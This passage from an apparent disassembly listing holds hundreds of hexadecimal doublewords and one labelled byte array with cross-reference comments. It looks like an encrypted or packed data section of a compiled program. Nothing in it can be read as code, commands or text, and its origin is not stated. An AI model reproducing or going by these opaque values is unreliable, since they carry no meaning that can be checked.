0CFC10238h dd 2E205983h, 0E68F812h, 0D528CE0Ch, 0D551740h, 6D00B47Eh dd 316FE887h, 0A31D5Dh, 0EEB3EA01h, 2FD54102h, 7E934000h dd 0ECE77634h, 0EB08005Ah, 78519C10h, 9D00827Fh, 981DAD6Ah dd 0AF9762h, 40F6B3D5h, 0D10B9604h, 0F7BB5A00h, 0B8BA93A1h dd 6BCF01CBh, 111B52AAh, 8C7AC469h, 44753202h, 74E8E3F2h dd 12F88079h, 2965C5ABh, 0CEEDF31Dh, 59786FC0h, 48A27DA1h dd 0C624DB44h, 3D310077h, 3B9BBF36h, 1F3EB900h, 0A8AC0BBCh dd 8D531D5Eh, 0DECDFh, 5F403708h, 0C20033A5h, 6C745C31h dd 92306Ah, 601EA6A8h, 69D65DD0h, 77E8DC00h, 0E4CA824Ah dd 0B77607B0h, 5F36DDACh, 12254E20h, 1600E3B9h, 0B3FFA0F9h dd 70A4D3A2h, 0AA8B0010h, 0A8F85EA5h, 0ECFD3E8Dh, 0D71E313Dh dd 0A04113CAh, 62AFAE46h, 1EE420h, 3F9E9658h, 0ECB26843h dd 34002E79h, 7547E035h, 0D85F9Fh, 5C6B0DD1h, 1844F96Eh dd 0B9E69C3Fh, 6DC180ACh, 4EE49164h, 142E0FFDh, 433DFA8Bh dd 0C61E8708h, 366EA3E8h, 6A7353Ch, 0AE183F78h, 0BDC30028h dd 7AB097B5h, 940023C5h, 3A413175h, 49835Fh, 86844AACh dd 1140DADh, 8094E01Ch, 36C0D41Fh, 8E9513F4h, 0AD700CDh dd 0FACBFCEEh, 3300E072h, 0C367738h, 6DC390h, 354AC6E8h dd 0D8B11F69h, 33FCA000h, 2270ACDFh, 0C2770054h, 1E92652Eh dd 0D0789C4h, 9B6C418Ch, 33BE860h, 0B1F207ACh, 0C0E349CEh dd 36156D01h, 0C0C784A0h, 30C2BC00h, 7141275Fh, 87E80063h dd 9BF61082h, 94005322h, 0F0453691h, 16EE0F09h, 1D923FB3h dd 753E8028h, 4AEDC254h, 7B6B6A07h, 7D808877h, 1EFAC71Bh dd 14D9ABC9h, 0A583E8F6h, 31009225h, 94B06B3Bh, 0C9765B7h dd 0A8FD751Ah, 4B00E2F8h, 53F3DFD4h, 48A324Fh, 33B211D5h dd 25A78012h, 60F17A2h, 80965D3Eh, 0E09AD33Dh, 6C070034h dd 31797AC1h, 5500E7D8h, 1BBEC208h, 60C489h, 0AE59EAF2h dd 0C96F6668h, 0B7F8E500h, 0E7480DF6h, 77F6A7h, 7255065Fh dd 0D7ABCFB3h, 90699500h, 8D75047Eh, 1486011Ch, 0A66711F8h dd 0F08A7060h, 93567B00h, 741615ECh, 6C42095Bh, 2C00E3BEh dd 329176DAh, 8DDD5400h, 4526C1FEh, 66200071h, 51CBCFD2h dd 0A624F006h, 1500349Dh, 0C001E5CDh, 0DAE00E0h, 0A180925h dd 0C70317E7h, 99605CB0h, 8074809Ch, 35C200DBh, 2B713070h dd 1F0ECE49h, 0A143A877h, 0CD5CA566h, 75909F8h, 80F433F6h dd 73C5B021h, 3E00BEC8h, 5F0B394Bh, 0E06B5532h, 0DB4E001Bh dd 0B0A4FC53h, 8D0E059Ch, 0E071C6DDh, 15F98B29h, 0D7B801EFh dd 6DB93A0Eh, 646C7048h, 0BF1D52B0h, 8807D835h, 0A920B109h dd 0B60EE9Fh, 81213FD1h, 0FEC65C03h, 0EB77E98h, 0CD830A00h dd 32132A9Ah, 0D15001BDh, 309E9F6Fh, 0AD6E8303h, 0A0C9893Bh dd 12572A2h, 85E6D58Ch, 0C4F02616h, 6D240B50h, 62809C29h dd 51A6FC39h, 2D7300BCh, 9DE35594h, 0E93E2AC9h, 4CA98007h dd 7E3BB076h, 0E1740DF1h, 0C03288DAh, 0DE006F04h, 677ACDDh dd 2435B678h, 29C6219h, 3351C93Dh, 56804B05h, 9B2FD01h dd 2485ADCFh, 36950080h, 0B1001EF1h, 4B7EC428h, 0ECDD58B7h dd 0B9051272h, 99500009h, 8618068h, 965E5900h, 53BC9047h dd 5C9C0EDEh, 0B040859Eh, 0F4786186h, 0A9D4C300h, 23C4F04Fh dd 2F7344h, 0C980B23Bh, 77852948h, 0CAC79000h, 0D43F27B5h dd 926E41Eh, 0A3B9D633h, 716FC000h, 0F601855Ah, 60DA21Ah dd 9840C311h, 0EC28A4h, 0A0832035h, 279443D0h, 0A33FB003h dd 0D07170F1h, 240F97E2h, 5F31ADh, 0FDEEAFD3h, 69311AA7h dd 0DD9660FCh, 0AE2D0h, 4ACC1759h, 2678D3FBh, 0FD037F7Ah dd 6BBA6AD5h, 0E0D02177h, 2D28F580h, 7219Ah, 0B4C5D096h dd 0D4FA7FDAh, 8015BC38h dd 412A0B7h, 23091Ah, 0DED5220Eh, 0F89CE278h, 0D44D9500h dd 87527B7Fh, 0A2320B7Ah, 6980CB9Ah, 55A3C410h, 2D0D1807h dd 800939E1h, 4A6989FDh, 1BCC1E4Dh, 74BA002Fh, 0F5039DCAh dd 3A86AD18h, 0A72EA8h, 4B8BD60h, 7DE6C7E9h, 8185100h dd 3579D88Ch, 1D401E47h, 0CB04C05Ch, 434FD6B0h, 0E28AE700h dd 48B969B6h, 4C8D1C57h, 0B2C5000Ah, 0D5FBA0CAh, 6D265900h dd 390523AEh, 29EF0CDBh, 0C24479C7h, 1FDF8301h, 7FAA9198h dd 323E5FCh, 562C2577h, 15C36D21h, 42F07583h, 39035D44h dd 484CFBAAh, 31618028h, 35C0090h, 14351C43h, 0E89880D7h dd 494C0202h, 80DF4A20h, 9F0D6CC4h, 0DA612CD8h, 63A0005Eh dd 0B21D149Ch, 51AC11Bh, 5BA0FF64h, 2F45A340h, 54789254h dd 0E4048E7Fh, 2E77882Ah, 0C0E498h, 0BFD7D839h, 0E3FE8A79h dd 0EECB4100h, 7EC1D0A5h, 46D7824h, 2C035110h, 5C4481A2h dd 0D8B2F5D8h, 1A38F75Eh, 0E7730312h, 88618396h, 3B26AF20h dd 0EE80DA0Ah, 757CA42Dh, 0F0029BCh, 56933060h, 11B68C6h dd 4FD880DEh, 0FC639295h, 1D18D3CFh, 0ED588AA9h, 5D0002Ch dd 0FF36F8FCh, 1C00522Ah, 8E9DD526h, 0EA043CADh, 0EF007DEh dd 0F0D120D4h, 0DB3E9C95h, 0A6420300h, 0CEB5C7C0h, 0F5BD008Ch dd 2C48CCD4h, 2D382958h, 7B7180D0h, 0CA494FC6h, 0A3FD240Ch dd 18182B4h, 0EB40DE83h, 4A07587Ch, 0E2760BC1h, 0B4400205h dd 0E9F152A3h, 0E0334522h, 531C9B3Bh, 0C5406A3Ch, 78FB5D9Eh dd 0D86D1445h, 0FE14AEA3h, 310FB4ABh, 2A00EB53h, 519977F4h dd 3F526C00h, 199AE72Dh, 0CECA07E2h, 70C3CDDBh, 6D208239h dd 0B0C548h, 959DC880h, 4805E7B4h, 0AE008051h, 39B8E027h dd 10076984h, 8FD1FE20h, 0FA571310h, 0C1C700B2h, 84D0E398h dd 5600324Ch, 0B65C6CFh, 0E83362h, 0DDAC838h, 45858ACDh dd 55803278h, 64A548D9h, 737241Fh, 79BE8h, 0C08987F6h dd 12037A72h, 61C964D9h, 0D0D2B0BBh, 703873FCh, 13C00EAh dd 0F73E379Fh, 5C04158Dh, 2E727A09h, 529BA8C0h, 390E00F8h dd 11E848F1h, 780043BEh, 0FF27FB0Dh, 77BA0647h, 9FA000A9h dd 6CC77639h, 80FDDFB7h, 96243048h, 0CBF5F0h, 83510245h dd 6367086Ah, 5C184203h, 0C85E26A7h, 0EC6111h, 0A37F062Eh dd 20CC5F84h, 48799D00h, 42C1F08Bh, 0A45D1EDCh, 6C22C91Dh dd 0D96ED580h, 0F60055ABh, 4AEF9A3Eh, 701AC77Dh, 82DD6732h dd 72C0B01Eh, 0EAFCF3E6h, 0B7E5DC07h, 2571822Ch, 0C880F94Fh dd 0DB45067Ah, 877A22Fh, 0D9B39407h, 0F8205FDCh, 1C4F2C1h dd 599CBE35h, 0FC4AA445h, 0DF0C6B1Ch, 19588627h, 34C11DF1h dd 0CFA006Ah, 7D5FAC61h, 49FE50C0h, 3B920385h, 0BB80EE3Fh dd 805BB936h, 630746C2h, 0DA9EBAD4h, 35BD0980h, 2E30041Bh dd 0C3F101BBh, 0AAA8CFFDh, 680731FFh, 7BC08052h, 6EF774B0h dd 0CD120EEAh, 8A160EDh, 0C7561D13h, 52479000h, 0AC7B5168h dd 49F0002Bh, 38AE2353h, 0AA0EA3B4h, 8390EA8Ch, 9BF59A4h dd 638795A8h, 6ACD5980h, 43F8DA5Fh, 943B2A2Ah, 545E252Fh dd 76E2008Dh, 0CF3ABA9Ch, 0EAE07800h, 1DC96249h, 400E02C6h dd 28B6228Ch, 0CF73ADE0h, 7C20C313h, 0E79B6101h, 0F2DC2968h dd 0CB8400D3h, 6AF730A7h, 5E004501h, 0A3443AA0h, 73D7425h dd 50562FA9h, 7D65255h, 75E93C48h, 209D2300h, 48515F19h dd 658E04BAh, 8093ECF3h, 7DC19508h, 8001533Ch, 7A0B4FD9h dd 39180433h, 88035566h, 5AB8936Eh, 870DF1h, 0E0CEC17h dd 285361D3h, 30A4A69Dh, 6F45F70h, 57C85500h, 2BAA0986h dd 0F2F80098h, 6D409133h, 3C0EB268h, 12E4FA5h, 0D4B9A025h dd 7653EC0h, 0FBDA6A53h, 5A7FF0E5h, 339AFC1h, 0B7FD00DDh dd 557A6C63h, 3C5B12C0h, 5F9400A0h, 42A6DC49h, 378E9803h dd 0E82A7918h, 0A2FBF2h, 0BFFE4EDh, 6A97CFB5h, 60FC0900h dd 0BAD85E95h, 0C380000Ch, 99CD045Fh, 6A00EC54h, 8C82D6D1h dd 48471Eh, 9B0A928Ah, 0E0E4BCB0h, 0D4005490h, 0BAB6FEE8h dd 0CEA2D7h, 1BFFA6E3h, 0A15AD246h, 0D6541900h, 8876722Ch dd 0D8CB0FC6h, 0A5605CF0h, 0F0838BEh, 0A0264C00h, 0E46EF4B7h dd 0EC428D3h, 93AE009Eh, 0FE95F94Dh, 9B0EDFD8h, 217D56h dd 283D0CA5h, 865A3CF4h, 96174F87h, 455830A8h, 2E3A7141h dd 0DC8A001Bh, 81F043E2h, 0D9422474h, 0EB69031Ch, 64772B26h dd 1CF3D700h, 0D1053D54h, 0E0D5009Ch, 2C02565Ch, 7B00A0ACh dd 9EDCB88Ch, 6E403Ch, 5BAD763Bh, 84327C24h, 62903E00h dd 63A67FBh, 8E120074h, 13197BC1h, 0E65E8B34h, 0AC277F81h dd 0F04D81DCh, 2D200012h, 3FE4DA33h, 9E00C0F5h, 34DCE28Ch dd 1AAD57h, 9825F15Fh, 0D104E81Fh, 438C1703h, 1BD0620h dd 0E623DF48h, 822AE9EBh, 0FE65C5C8h, 0FBE0405Dh, 0CCA1484Ah dd 5CCFEF01h, 0D92699EBh, 8121B82Bh, 4F3BF946h, 0D0806F2Dh dd 7C21442Eh, 9400E9AFh, 9B173CF4h, 2892D5F6h, 0FEF4B9ECh dd 7EF20012h, 0E73B96C3h, 7F00FB72h, 0CC81F6B2h, 1A2A12Dh dd 1C9A154Ah, 30C4D962h, 0F090E86Fh, 0D3A36C0Eh, 5B7BC0F1h dd 18850C78h, 0BC09CB0Fh, 48007F0Ah, 0D8FD5AF9h, 0B86CC1h dd 57DB3BFAh, 58135C66h, 794EBD00h, 0F9743531h, 0F42F00A2h dd 5E2E6A1Eh, 2400F288h, 0F15AE17Ah, 5ED31F7h, 50D5E0C8h dd 0DAE0006Ah, 81907CECh, 56B10500h, 77A47248h, 0FDAD0315h dd 7D4D8B23h, 6F6454C8h, 5000C6E6h, 9326EA98h, 793086h dd 24FA910Ah, 1A5BB74h, 0F91B3Fh, 0BA725CD9h, 7DA8B4h dd 0C312F00Eh, 2B92E9Bh, 248F9F00h, 55FFF438h, 0CCA10020h dd 0F652C4AFh, 0AA002639h, 0C041F340h, 15165F8h, 0C51C7B27h dd 0C4DC5902h, 5C98182Ch, 704D3500h, 73804BEh, 7BF2F225h dd 601C00B7h, 1D999F4Fh, 28036E46h, 7F952CFh, 9870A89Ah dd 9C3417A5h, 641507E2h, 0DEA31073h, 0CC003E99h, 2F6977B3h dd 1B47CAh, 1EBFA861h, 0DE11C07Dh, 278BB612h, 68E61841h dd 9AE8D792h, 9CBB1CAFh, 0DA08C05Ch, 0D31EAD9Eh, 0A14DE500h dd 0C37CE026h, 0E8575E6Dh, 0A3007D0Fh, 0CF25282Eh, 0C627F1h dd 8EDBF76Fh, 0EF6EC44Eh, 0EA0033FAh, 0DC8280Fh, 1451FCh dd 7A4E5910h, 1B778446h, 0FBD08F00h, 3C7440A6h, 4AC213D6h dd 0A2B007F3h, 95580013h, 22008A30h, 0B311AAACh, 0E97B884h dd 612D1CD4h, 0A0BDD0C7h, 0FA2BCC6h, 560A4103h, 888571E2h dd 0E11208h, 9C04A59h, 67AB941Dh, 0A0794113h, 0E6121C72h dd 0CE8B0090h, 5583C236h, 0BAD36Fh, 9652B000h, 0B9A54B2Dh dd 303B3968h, 0A0ABA4h, 57FF013Ah, 6B0110F8h, 457B4241h dd 0C2C813DCh, 1FD40037h, 191488B4h, 0C01D1A58h, 81B9A93Ch dd 6899BFABh, 6870EF90h, 709500FAh, 8912E2D1h, 3B02206Eh dd 7DDD0443h, 94644181h, 201BC64h, 0C3359D5Fh, 70C2E35Ch dd 0B78C8081h, 6CB820C1h, 200E6000h, 9C46EBA3h, 0B0F2E8h dd 3CCAE196h, 1E2BB8B2h, 20040F00h, 30FD0244h, 0EA100146h dd 9F29CD0Bh, 5E2F3019h, 0CA13EFE8h, 0DA1CAF25h, 6B4E41C0h dd 110DB7h, 0C4E21022h, 0D45C13A8h, 0BC7858h, 0F3BB6DF8h dd 0C5FA3Fh, 5BD6D0F1h, 0B03B4CCAh, 83DA5800h, 1ABF05E3h dd 0E8741CF6h, 567340FDh, 0FC5E46D7h, 1D390638h, 0A91F7A49h dd 0B46B54h, 0AC861C27h, 4BA751h, 0F808207Bh, 81291E0Ah dd 78D79324h, 75259B04h dd 0DFE47090h, 7EC700D9h, 0B703D146h, 8B00F529h, 40AC108Dh dd 0C87BF7h, 0F13A455Bh, 8E115016h, 6A1BD50Eh, 1A96E182h dd 0B040879Eh, 0FAFE64DDh, 0BAD30315h, 4034665h, 41549800h dd 6DC12D87h, 0FA78003Eh, 6B97DEC9h, 0B100FCE0h, 0A43FFA2h dd 0F4B6024Eh, 0C5A4011Dh, 3584C973h, 93020C0h, 196A5700h dd 74EAAE36h, 76180027h, 8799826Bh, 770A9A1Dh, 0A3437D3Fh dd 0FBCEBA01h, 7A3185B2h, 1450E0h, 0BE3F0BABh, 4D707E5Eh dd 0D590E605h, 53C28F01h, 8E1C486Dh, 87F400CFh, 0DE7D34E9h dd 0CD095460h, 816C4FE7h, 24FFC2E0h, 1E520h, 0AD42FAE8h dd 0B3735F3h, 5125BE0Eh, 0DD396729h, 5D1FEE10h, 0AC9248AAh dd 9D3DCD03h, 5797A3BEh, 52604041h, 0BBFA68D3h, 78645Ch dd 912D0F76h, 9211863Eh, 0E5570054h, 708C896Bh, 24072B1Eh dd 8F4E1718h, 0C04A5812h, 2CEF962Ch, 2A455Dh, 5495E3D4h dd 0DB0EA4C9h, 3DB406DCh, 0FF53FA00h, 1FE42EAh, 2977390Eh dd 61229EBFh, 9355C8DBh, 0C8597B00h, 0BDFC49C9h, 0D3790042h dd 5C35CA87h, 3C00A17Ah, 1E81D5A7h, 0EA05FDh, 87BBB285h dd 4CB51292h, 407D3179h, 0F790A400h, 6BB11513h, 59410057h dd 0A338757Ch, 190733A6h, 2DB84E8Dh, 3D77C693h, 0C84D72B9h dd 88554200h, 91447C20h, 9E25AF02h, 8EFE5092h, 82F5C184h dd 28613C9Ch, 266CA140h, 0FBEC80h, 33E2AC4Bh, 0B9257642h dd 3DA12700h, 32574555h, 4D640029h, 2BBB8ADAh, 3874F047h dd 585E5Ch, 6D8E157Fh, 2839229h, 0FBE8BA1Ch, 68504A30h dd 20CC0200h, 5D7DA17Fh, 8AC23B80h, 9E9B0399h, 0E5984089h dd 95F4C87Eh, 0CE31AE12h, 81037B1Dh, 0F2F75h, 6EA1749h dd 9C520757h, 8EEFC503h, 0D88B4291h, 4DB7Ah, 5DFD8A25h dd 0FBD244EAh, 33CFF100h, 939B4D50h, 0DB370169h, 0B2784B6Dh dd 0AC78BF8Ah, 220087ACh, 727F6FC8h, 8025060Fh, 79B51D75h dd 5506F300h, 0DA2E86C9h, 48E97CC1h, 81FB8E5h, 0C15071Ch dd 0AC501C88h, 3DEE75B8h, 3334A203h, 0A0B8A443h, 5803C305h dd 7C75ADFAh, 0E18D006Eh, 62E77CF1h, 0A809711Fh, 0A0FBADAAh dd 0C2BE8C48h, 1BCF02E3h, 23214558h, 0F8795870h, 0BCBEF8E9h dd 3300F090h, 5E5D2451h, 981F6DA7h, 58FE3E24h, 5BC50600h dd 41F0D1E5h, 24A09B60h, 0A0535C1Fh, 0F2F8EBAFh, 0B3390037h dd 0B594CB21h, 6D0EF674h, 232DB4B9h, 3FAD2295h, 1B8E25B0h dd 0C60D70Bh, 6D5CC950h, 8657002h, 0C02F3B60h, 28A6E7D0h dd 0DAEAD2h, 0CA39B1B9h, 0BD013D59h, 309D931Fh, 22D7C5C0h dd 0F6B09C17h, 6A98264Ah, 0DFF8050Fh, 6FF18023h, 0E139F6D2h dd 5AF718DAh, 1D4896DCh, 0E9CE59h, 0BF1A826Dh, 6F00AAB3h dd 0F1558810h, 0E64B18h, 8DA96943h, 9B498F41h, 0A3EB3E00h dd 0D75051CAh, 6C1A1833h, 4C6F9E80h, 0EA22E00h, 29251B3Eh dd 0B1E6003Dh, 585C59E0h, 0E71EA321h, 0E80FFDC2h, 0BD1640CBh dd 60B055BAh, 1EBB5E62h, 3E1D60A5h, 3B80B481h, 0F0D95167h dd 0EAB21CBFh, 6459479Ch, 10FB06D7h, 0B9006EE6h, 1574D1FCh dd 98C4F7h, 7DCDB8D8h, 34DA4973h, 5C111F13h, 0CB2EEC00h dd 1858DD36h, 0B0E75468h, 0A800F63Fh, 5E9725E6h, 0C7CE94h dd 0BA9DD875h, 0D2F589C5h, 3027C407h, 0FE870C21h, 22BC6B50h dd 2318003Fh, 0B30E7C2Dh, 84015AA8h, 0C138DE01h, 0CC20AE44h dd 752A139Fh, 0F2F500E5h, 30C69EFBh, 10478400h, 9B3D0EA4h dd 4EA007Bh, 6D5645B3h, 50076FF2h, 0F3F9ECCFh, 12F800FBh dd 1982D8DEh, 5818680Dh, 0F11DF80Ah, 0FDDB1500h, 0FF8057Ah dd 3E9200DCh, 0E137B4D7h, 0FF7561A5h, 7AC8126h, 214F7B0Eh dd 0F1B317C9h, 964C0DCh, 24D45258h, 3E1E7C00h, 89051F60h dd 0CF39EE9Bh, 6950CC80h, 9D2500CDh, 4C623E1Dh, 0A5006ED8h dd 3D9AF838h, 106A2E3h, 73535705h, 9FD0ED4Ah, 0EF82A538h dd 0C070C8E9h, 7DE2A8DBh, 0FE1000B4h, 3BDCC2CDh, 0D0B8A601h dd 20EADF12h, 238FB80Bh, 824990D0h, 0DE0840B9h, 0D74D3A18h dd 0FC2C1401h, 0D89304C4h, 0FB01034Ah, 6FF62B5Dh, 0E8200679h dd 16FD008Bh, 10DF5C72h, 0C000C70Dh, 19EC2CD8h, 21DA07h dd 280C4122h, 975AFA4Ah, 0C8E5A8A0h, 0CCE97200h, 0EF12B7B3h dd 0A8563E76h, 0D059AF00h, 0C4F5944Dh, 0E80AD804h, 64C2283Ah dd 1374D11Ah, 998043BCh, 9BEB45CAh, 10265588h, 0FF00B0F2h dd 5C5F51E6h, 803A19h, 78A27473h, 75A977A8h, 2721D03Ah dd 0AEA807F4h, 4B6CFAB0h, 11D10057h, 152AEF75h, 84133A63h dd 0F8024E89h, 0C8E6B031h, 84464458h, 3C8C38E5h, 0DFFC84F9h db 0CCh byte_520045 db 8, 80h, 13h ; DATA XREF: ___:004385A0o ; ___:004385B8o dd 0F2BFA98Ah, 0D4700EDh, 0C8D22CB0h, 535C7269h, 1C760249h dd 60A8F2A4h, 178050h, 0BB1A6A4Dh, 81904602h, 0C409DF00h dd 8B2B74A3h, 1E27CC0h, 615E3669h, 64BB5255h, 10F46A18h dd 0C707B21Ch, 0AFAB2D00h, 5C03F329h, 760784CEh, 901681C3h dd 75693154h, 0E42CED7Eh, 0BD00B4EBh, 52C71EFFh, 308F07Fh dd 86DB3BDEh, 75984A1Bh, 60B1CF41h, 0EA480600h, 758A73C0h dd 39E7E87h, 59B3E5C4h, 5000230Eh, 5124494Fh, 13115Dh dd 0E93695EEh, 0F90C011Ch, 645F11C7h, 0BA43A471h, 0EAE351E4h dd 154E2439h, 0D3833F5Eh, 89AC6655h, 14DF09D8h, 16F0D402h dd 60817D19h, 10CCFDh, 8E05290Fh, 5D972138h, 3429A00h dd 77619214h, 0E50E00EAh, 0E68CFCDBh, 8B3843E8h, 3839004Eh dd 0F3343F44h, 1C890EBCh, 708072C2h, 9AB4A699h, 0DA012E00h dd 0E09CA444h, 49DB077Ch, 303E40DDh, 0BE15FD97h, 0BD45E600h dd 0F16ECF47h, 0C9232E11h, 38D1D83h, 9DAAD03Fh, 130CC3CCh dd 0C46E2D89h, 493F4778h, 3F9400EDh, 0BA4DDFE5h, 0B69A01A7h dd 2205B10Eh, 0A01BF031h, 7BECF203h, 0F0CFE958h, 5C91A4h dd 0ED0416F5h, 0E102AD96h, 0DE5F2713h, 672DD700h, 865DCBh dd 0DDBC8239h, 503179CFh, 8A271C00h, 6DAAA1B6h, 4CCE3838h dd 0C1B4A200h, 863D53D8h, 0AC231200h, 28B61CA7h, 4B9F0024h dd 5F42E3A1h, 5D0019A3h, 0B4763D8Eh, 1C0C17B5h, 80FBD036h dd 0C88CE1EDh, 0FF0116CCh, 0F2234FDh, 55D483CDh, 0F37B0063h dd 8B2E4D2Dh, 870020C4h, 145B085Dh, 2408Ah, 57EDE17Eh dd 896D0A94h, 0CDE2FB00h, 0E7F9C112h, 8E680047h, 36E9FEB6h dd 52004932h, 0BF98FCDAh, 0DAF8Fh, 0D68AC062h, 26079AEAh dd 2ED35A09h, 661C2068h, 28FCF36h, 9D2F4A63h, 0F0807A2Ah dd 28E6F584h, 0FB211700h, 83E00C6Ah, 1D57591h, 75F30630h dd 0DC956264h, 0AB03C6EBh, 0ADC94721h, 78FCF820h, 6F67006Ch dd 0B1BE8612h, 0B4038A2Eh, 6D0F36ABh, 0E090D09Eh, 0B73A0043h dd 2D639760h, 5D387DA5h, 382E0E78h, 0D6BD0075h, 0EE9CC271h dd 0A562072Dh, 50C06195h, 541C2B3Fh, 43369800h, 562A477Ah dd 3D040748h, 0D7943BF5h, 0F05BD073h, 0CC00B2BAh, 5CCAF49Dh dd 5E2D57h, 911E9A93h, 0CD104A94h, 0A06B3B01h, 0CB1DFAE0h dd 1595C3D8h, 942F85E6h, 4632A700h, 5FA05035h, 0A00C479h dd 0B82154D4h, 8BD771h, 0F515E6D3h, 0B98231Dh, 53D9B200h dd 0D0C4273Eh, 0DED50020h, 0CC8964F7h, 4E037212h, 21BAE522h dd 0B82CAB0Fh, 0B74ADDh, 0ECB460B2h, 160EF727h, 3C5AA509h dd 85E80180h, 44F4AE2Dh, 45643DEFh, 96F76D80h, 117526F1h dd 1D28C448h, 5B406810h, 1DE75658h, 25AC00A4h, 0FD22B98Dh dd 50EC26FFh, 3EB1000h, 0FC97ED5Ah, 0C6A00009h, 6727D963h dd 0C900D236h, 2623C76Dh, 4839DCE6h, 62090C68h, 1600CBD1h dd 190E6524h, 36978300h, 75C4BBAh, 44B40084h, 0B79FD895h dd 7800BD5Eh, 13D7E59Bh, 5FF3B5h, 0FF074D84h, 7571FD79h dd 77000D78h, 69281C46h, 87F5F7h, 396C8F9Eh, 795E6BBAh dd 5DFE5C00h, 0B5B1E97h, 0D7C50224h, 7F8FE86Eh, 4C83D0A0h dd 4D007876h, 6F226C04h, 0FC5077h, 3A97D39Eh, 0CD1FF4E8h dd 0E5A23600h, 0C79C252Ch, 697900AAh, 5F9B0232h, 0B8773E93h dd 0EAF27704h, 14C050C6h, 77629888h, 3D850CAEh, 0EA70D3CEh dd 2025A531h, 0C1F34D49h, 119E0EA6h, 0CEAD042Dh, 0E4DAC05Ah dd 547EFBEEh, 30CF73Bh, 458356A9h, 47ADE06Fh, 0BE250140h dd 0D1D9588Fh, 7D6180CAh, 946CD434h, 0BAB2A048h, 3D350179h dd 62C553B7h, 5AF88082h, 5CE8BFDEh, 38586F8Eh, 6916980h dd 0EB247E95h, 760092CBh, 84D2567Ah, 4C800028h, 40B520FAh dd 0F31C9B68h, 4B8024B0h, 0BA9F85C5h, 9896ECD5h, 181B0065h dd 8EB4C349h, 0EA001A99h, 80F6B04Ah, 7CEFFB33h, 15F000ABh dd 0EEDF2597h, 0B600E241h, 76BD1214h, 0F3D76Dh, 4DE011ABh dd 0C6E9BB24h, 79045600h, 0E3A5C1CCh, 2E1F1F7Eh, 80251F89h dd 0F35BAC01h, 0DC00B63Fh, 0F620DF40h, 0FA0BD198h, 0D121FC9h dd 0E3278013h, 0A3B15C47h, 84CD293Ch, 680946EEh, 0D4C53B80h dd 9D0600F9h, 8D7A8321h, 0CB000C29h, 0A0CA33C9h, 0A8E781D7h dd 7CC23A0h, 0D3700DC0h, 0DDA8C0FEh, 6AEA06FBh, 3FFD8802h dd 80186420h, 0CEB9ACACh, 0F808015Ch, 7172EA25h, 0B809F069h dd 0AF491C06h, 159EBA1h, 69323B2h, 40CDF59Fh, 0CE33E8CCh dd 35A7691Eh, 0AECC4D01h, 318F5C9Bh, 0E7C09264h, 6B97562h dd 5924A200h, 9102D543h, 0C80E00A9h, 8B67E3F1h, 0A3007E51h dd 5C1AB3A0h, 0A8F078Dh, 9DAF17B9h, 7F938F28h, 4800A2E9h dd 6243EF1Dh, 0EE6E0500h, 65BF6B3Eh, 0D6E33FD1h, 0B3DF0E00h dd 0DE705104h, 3C0A8270h, 0C7AB945Ch, 2AF8302h, 6A2C81F0h dd 0EEC4605Eh, 8C275469h, 0DD6500C0h, 570BE574h, 0FC00687Eh dd 8C8E3F73h, 887F48h, 8291875Ah, 83BBCC66h, 0FEDBA900h dd 0B6026229h, 1FA73DC4h, 808FAE8Dh, 0C1041ECAh, 16C61104h dd 456AF0h, 9801F30Ch, 0C7712A93h, 64AB3301h, 7CE7E15h dd 1FDA85F0h, 1F25D2F9h, 543C0C66h, 13D8F18h, 0B19F98AFh dd 31729059h, 8B519C1Dh, 18F208D2h, 29C57E83h, 6007BEAEh dd 0FFEC42FDh, 288D2AC0h, 0DC581705h, 23C2017Bh, 20AF7AD0h dd 0B9CA119Fh, 441802Fh, 5C00817Bh, 714498C0h, 0FDF10085h dd 5DFCE0AEh, 20537905h, 0A7091070h, 0A4CA3E00h, 0E1B35A2Fh dd 7CAA2C01h, 0D013DA8Bh, 1A64E89Ah, 0F094B8C1h, 831BEB99h dd 0F069A863h, 53FEE94Eh, 2A004CAEh, 46741311h, 981081ECh dd 0AF053B2Bh, 2099D436h, 0FDB090C0h, 0F4607E72h, 9F0924A8h dd 0E938C5D4h, 0C7A841DCh, 4954B848h, 0AB040FF8h, 0A7C3E90Ch dd 0AA281F10h, 400D069h, 0B0810D59h, 90EB96C7h, 0ACE9005Ch dd 19B31833h, 29C44BAFh, 5844122Dh, 454048C3h, 81280832h dd 24E4C642h, 460221A4h, 14823512h, 98249A45h, 0CCC4C840h dd 0F900087Bh, 220C64C0h, 165AAAh, 64A1ADEh, 0AFB55883h dd 0EA687500h, 864B80FCh, 0F6D50098h, 2C077684h, 0F9007278h dd 0C56B12A2h, 0F49568h, 8F9CDFBBh, 0A0481E75h, 90B11A00h dd 0B136316h, 18AFA7Ch, 32244237h, 0E4BB48AFh, 3B0C924Ah dd 113CC1E5h, 0AA700F2h, 2B3FF62Fh, 68554F65h, 451BECB4h dd 71FF801h, 0DFD883E6h, 34AAC4h, 0D917356Fh, 109D67E9h dd 9B86D200h, 90C7C261h, 0FF3F001Ch, 0DBACAA32h, 6500B171h dd 57AB59EDh, 690C53h, 0A3BDB4AEh, 0C9B0143Bh, 16A18000h dd 189057D9h, 4DCB382Ch, 0B125BA09h, 88092CA3h, 6C26E878h dd 30004D20h, 0ED978EC6h, 6AEE0028h, 474ECE89h, 0F0004A73h dd 5EF94D79h, 0C3FC3h, 0C1D7BAD4h, 0C468C729h, 40512000h dd 3858D69Dh, 0DCB800E1h, 9BE3C317h, 70605422h, 41B48918h dd 7E52037Dh, 0B601B5C4h, 10E04F90h, 0BFDF4700h, 7BFC17E2h dd 1B3800DEh, 34910FC3h, 0F0054558h, 4E37036Fh, 0D7859400h dd 3652E29h, 476CF580h, 0F4C056B3h, 3A1F5B01h, 0A340743Eh dd 0A8039116h, 0BFF61EB7h, 0F4C600BEh, 0B9D07A9Fh, 5C7CD700h dd 7F8624FBh, 0C4361ED2h, 124485AEh, 2FDC019Eh, 0D47DA271h dd 90E0D75h, 20242213h, 74BBFB81h, 86B707BDh, 501CA360h dd 0BF49F02Dh, 0BE008C98h, 0E39FBB6Eh, 7BAC69FDh, 0DC1F09A0h dd 0A3A0C34Eh, 9FCFA0Ah dd 0B087DF01h, 51500514h, 724F06Fh, 9503E400h, 0BE0D9637h dd 6AF100A4h, 0AC4A89D6h, 0FE7555A3h, 0D3A45A54h, 80501D3Fh dd 2C9B8C27h, 3DBBFC96h, 5F802BACh, 0C9DF394h, 0EC60CC13h dd 0B85C679Ch, 39D90011h, 6A822CF7h, 900021C0h, 0A0AFCBFAh dd 0A66889h, 14D2F625h, 464AF275h, 0F954E000h, 0F4EA719Fh dd 0FEDE00CDh, 0A47A4FA1h, 0CE007C01h, 